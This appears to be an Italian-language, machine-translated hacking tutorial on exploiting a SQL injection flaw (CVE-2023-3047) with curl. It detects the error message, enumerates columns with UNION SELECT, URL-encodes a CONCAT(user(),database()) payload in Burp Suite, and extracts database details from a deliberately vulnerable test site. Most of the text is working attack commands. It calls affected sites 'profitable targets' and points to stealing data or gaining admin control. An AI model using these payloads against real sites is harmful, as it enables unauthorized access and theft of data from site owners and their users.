
@ghostman_s3c o @Chrome202417L22i227Keet23QCNaeCyrQ6xfiTQpQJ5La vulnerabilità di neutralizzazione impropria degli elementi speciali usati in un comando SQL ('SQL Injection') in TMT Lockcell consente l'iniezione SQL. Questo problema riguarda Lockcell: versioni precedenti alla 15.
Prima controlleremo se presenta l'errore CVE-2023-3047; ora apri un terminale e assicurati che ogni terminale supporti lo strumento cURL.
curl <your_url_vulnerable> | grep "at line"
dopo aver premuto Invio, se viene visualizzato come 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1, il tuo sito web è affetto dall'errore CVE-2023-3047
ok, successivamente proveremo a vedere se questo sito web blocca questi attacchi di iniezione; prova a usare il seguente comando e provalo
curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
e premi Invio; se viene visualizzato come nell'immagine qui sotto, allora hai un bersaglio redditizio
E ora dovresti continuare il payload union select da 1 fino a un certo numero considerato valido per il numero di colonne del sito web mysql.
ok, il mio bersaglio ha un numero di colonne valido da 1 a 11; nell'immagine qui sotto ci sono 2 risultati completamente diversi: sopra c'è ancora 'The used SELECT', sotto non c'è.
E ora andrò su Google per verificare se corrisponde ai risultati sopra o no, e per comodità otterrò un altro numero dal quale posso ottenere informazioni.
Bene, sembra un risultato completamente valido, e ci sono 3 numeri che possiamo iniettare per ottenere informazioni.
e ora ci eserciteremo a iniettare comandi SQL per ottenere informazioni da esso
e useremo il payload : +Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
o oh, sembra che questo comando non sia molto buono, perché non abbiamo codificato il payload in un URL
e ora il mio compito è codificare quel payload in un percorso URL per continuare l'attacco informatico
Useremo Burp Suite per codificarli
Ora seleziona Decoder, poi seleziona Encode as sul lato sinistro dello schermo, quindi seleziona URL e inserisci il tuo payload. Per quanto riguarda il mio errore precedente, ha caratteri speciali come : (, ). Non soddisfano i requisiti, quindi codificherò solo il comando da inserire per ottenere le informazioni del database.
CONCAT(user(),'::',database())
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
e dopo aver premuto Invio, e questa è la fine del gioco: il nome utente e il database sono stati esposti; non solo, gli hacker possono iniettare altri payload per ottenere più informazioni da essi, ad esempio scaricando i dati di base per rubare informazioni o ottenere il controllo dell'amministratore del sito web.
Quindi, il gioco è finito, il nome utente è acuart@localhost e il nome del database è acuart